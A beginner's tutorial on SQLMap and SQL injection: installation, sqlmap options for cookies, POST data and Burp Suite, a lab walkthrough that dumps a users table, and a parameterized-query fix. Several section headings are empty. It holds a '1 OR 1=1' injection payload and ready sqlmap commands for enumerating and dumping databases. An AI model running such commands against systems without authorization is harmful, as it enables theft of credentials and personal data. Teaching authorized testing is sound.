Quick Answer: What Is SQLMap?

Featured Snippet Answers

Short, extractable answers designed for answer engines. Each is written to be quoted directly by Google, ChatGPT, Gemini, Claude, Perplexity, and Copilot.

Beginner’s Guide to SQLMap and SQL Injection

What Is SQL Injection?

SQL injection (SQLi) is a web security vulnerability that allows attackers to interfere with the queries an application makes to its database. It occurs when user-supplied input is incorrectly filtered for SQL statements — allowing attackers to execute arbitrary SQL commands on the underlying database.

# Vulnerable PHP code
$id = $_GET['id'];
$query = "SELECT * FROM users WHERE id = $id";
# If id = 1 OR 1=1, the query becomes:
# SELECT * FROM users WHERE id = 1 OR 1=1
# Returns ALL users — authentication bypass

SQL Injection Types

Why SQL Injection Matters

SQL injection remains one of the most critical web application vulnerabilities. According to industry reports:

• OWASP Top 10 (2021): Injection (A03) is consistently in the top 3 most critical web vulnerabilities
• Verizon DBIR 2025: Vulnerability exploitation (including SQLi) was a top-2 initial access vector
• CISA KEV: Multiple SQL injection vulnerabilities are actively exploited in the wild

Installation Guide

Kali Linux (Recommended)

SQLMap is pre-installed on Kali Linux. To update to the latest version:

sudo apt update
sudo apt install sqlmap
# Or clone from GitHub for the latest development version
git clone --depth 1 https://github.com/sqlmapproject/sqlmap.git

Linux (Debian/Ubuntu)

sudo apt update
sudo apt install -y sqlmap
# Or install via pip
pip install --user sqlmap

macOS

# Using Homebrew
brew install sqlmap

# Or using pip
pip install sqlmap

Windows

SQLMap requires Python 3.8+ on Windows:

1. Install Python from python.org (check “Add Python to PATH”)
2. Open Command Prompt as Administrator
3. Run: pip install sqlmap
4. Or clone the GitHub repository and run from there

# Install SQLMap via pip
pip install sqlmap

# Or clone and run directly
git clone https://github.com/sqlmapproject/sqlmap.git
cd sqlmap
python sqlmap.py

Verify Installation

sqlmap --version
# Version: 1.8.12 (or later)

# Verify with a simple help command
sqlmap -h

SQLMap Basic Commands — The Essentials

Every SQLMap command follows this general syntax:

sqlmap [options] -u <URL>

Target URL Options

SQLMap supports multiple ways to specify targets — from simple URLs to complex configuration files.

# Export a request from Burp Suite → right-click → Copy as curl
# Save to request.txt:
GET /product?id=1 HTTP/1.1
Host: target.com
User-Agent: Mozilla/5.0
Cookie: session=abc123

# Then run:
sqlmap -r request.txt

Request & HTTP Options

Configure how SQLMap sends HTTP requests to the target.

Authentication Options

SQLMap supports multiple authentication methods to access protected applications.

# First, log in to the application manually
# Copy the session cookie from browser developer tools
# Then use it in SQLMap:
sqlmap -u "http://target.com/dashboard?id=1" --cookie="PHPSESSID=abc123; security=low"

Database Enumeration

These options control what information SQLMap extracts from the target database.

# 1. Find the injection point
sqlmap -u "http://target.com/product?id=1" --batch

# 2. Enumerate databases
sqlmap -u "http://target.com/product?id=1" --dbs

# 3. Target a database and enumerate tables
sqlmap -u "http://target.com/product?id=1" -D production --tables

# 4. Target a table and enumerate columns
sqlmap -u "http://target.com/product?id=1" -T users --columns

# 5. Dump the data
sqlmap -u "http://target.com/product?id=1" -T users --dump

Database Identification

SQLMap automatically identifies the database management system, but you can also target specific DBMSes.

SQLMap Detection Techniques

SQLMap uses five primary techniques to detect and exploit SQL injection. You can specify which techniques to use.

# Use only error-based and time-based blind techniques
sqlmap -u "http://target.com/page?id=1" --technique=ET

# Use all techniques except time-based blind
sqlmap -u "http://target.com/page?id=1" --technique=BEUS

# Default (all techniques)
sqlmap -u "http://target.com/page?id=1"

Working With HTTP Requests

SQLMap can load and test requests in multiple formats — including direct from Burp Suite.

Using -r with Request Files

GET /product.php?id=1&user=admin HTTP/1.1
Host: target.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36
Accept: text/html,application/xhtml+xml
Accept-Encoding: gzip, deflate
Cookie: PHPSESSID=abc123; security=low

sqlmap -r request.txt --batch

POST Request with –data

sqlmap -u "http://target.com/login" --data="username=admin&password=test" --batch

Cookie Injection

sqlmap -u "http://target.com/profile" --cookie="userid=1; session=xyz" --level=2

Header Injection

sqlmap -u "http://target.com/page" --headers="X-Forwarded-For: 127.0.0.1" --level=3

Using SQLMap With Burp Suite

SQLMap and Burp Suite work together seamlessly. This integration gives you visibility into every request SQLMap sends and the responses it receives.

Method 1 — Proxy SQLMap Through Burp

# Run Burp Suite with proxy on 127.0.0.1:8080
# Then run SQLMap with proxy configuration
sqlmap -u "http://target.com/page?id=1" --proxy="http://127.0.0.1:8080" --batch

Method 2 — Export Requests from Burp

1. In Burp Suite, find a request in HTTP History
2. Right-click → Copy as curl command
3. Paste into a file (request.txt)
4. Run: sqlmap -r request.txt

Method 3 — Copy as SQLMap Command

Some Burp extensions (like “Copy as SQLMap”) generate SQLMap commands directly from intercepted requests.

SQLMap With Cookies

Many applications require authentication via session cookies. SQLMap handles cookies in several ways.

# SQLMap tests cookies at level 2+ and risk 1+
sqlmap -u "http://target.com/profile" --cookie="userid=1" --level=2 --risk=2

SQLMap With POST Requests

Testing POST requests is straightforward with SQLMap’s --data option.

sqlmap -u "http://target.com/login" --data="username=admin&password=test" --batch

sqlmap -u "http://target.com/api/users" --data='{"username":"admin","password":"test"}' --headers="Content-Type: application/json"

sqlmap -u "http://target.com/upload" --data="file=test.txt&description=test" --headers="Content-Type: multipart/form-data"

Using -r for POST Requests

Export a POST request from Burp Suite to a file and use -r:

POST /login HTTP/1.1
Host: target.com
User-Agent: Mozilla/5.0
Content-Type: application/x-www-form-urlencoded
Content-Length: 30

username=admin&password=test

sqlmap -r login_request.txt

Output & Reporting

SQLMap provides several output formats to save and share your findings.

sqlmap -u "http://target.com/product?id=1" --output-dir=./sqlmap-results --batch

Common SQLMap Errors & Solutions

SQLMap vs Manual SQL Injection Testing

SQLMap vs Other Web Security Tools

SQLMap vs Other SQL Injection Tools

Authorized Lab Walkthrough — SQL Injection Testing in Action

Lab Scenario

Objective: Use SQLMap to identify and exploit an SQL injection vulnerability in a deliberately vulnerable web application. Extract sensitive data and generate a vulnerability report.

Step 1 — Identify the Target

After initial reconnaissance with Nmap and Burp Suite, we identify a potential injection point:

http://192.168.1.100/product.php?id=1

Step 2 — Initial SQLMap Scan

Run SQLMap to check for injection points:

sqlmap -u "http://192.168.1.100/product.php?id=1" --batch

Finding: SQLMap identifies the id parameter as vulnerable to error-based SQL injection (MySQL).

Step 3 — Database Enumeration

sqlmap -u "http://192.168.1.100/product.php?id=1" --dbs

Finding: SQLMap identifies databases: information_schema, production, users.

Step 4 — Table Enumeration

sqlmap -u "http://192.168.1.100/product.php?id=1" -D production --tables

Finding: SQLMap identifies tables: users, orders, products.

Step 5 — Data Extraction

sqlmap -u "http://192.168.1.100/product.php?id=1" -D production -T users --dump

Finding: SQLMap extracts user credentials including hashed passwords, usernames, and email addresses.

Step 6 — Report Generation

Document the findings:

• Vulnerability: Error-based SQL injection in id parameter
• Impact: Full database access — credentials, PII, order data
• Risk: Critical
• Remediation: Use parameterized queries; implement input validation; apply principle of least privilege

Common SQLMap Mistakes — And How to Avoid Them

Defensive Measures Against SQL Injection

Understanding how to prevent SQL injection is as important as knowing how to test for it. Here’s what every developer and security professional should implement:

$stmt = $pdo->prepare("SELECT * FROM users WHERE id = ?");
$stmt->execute([$id]);

Frequently Asked Questions (30+ Answers)

References & Authoritative Sources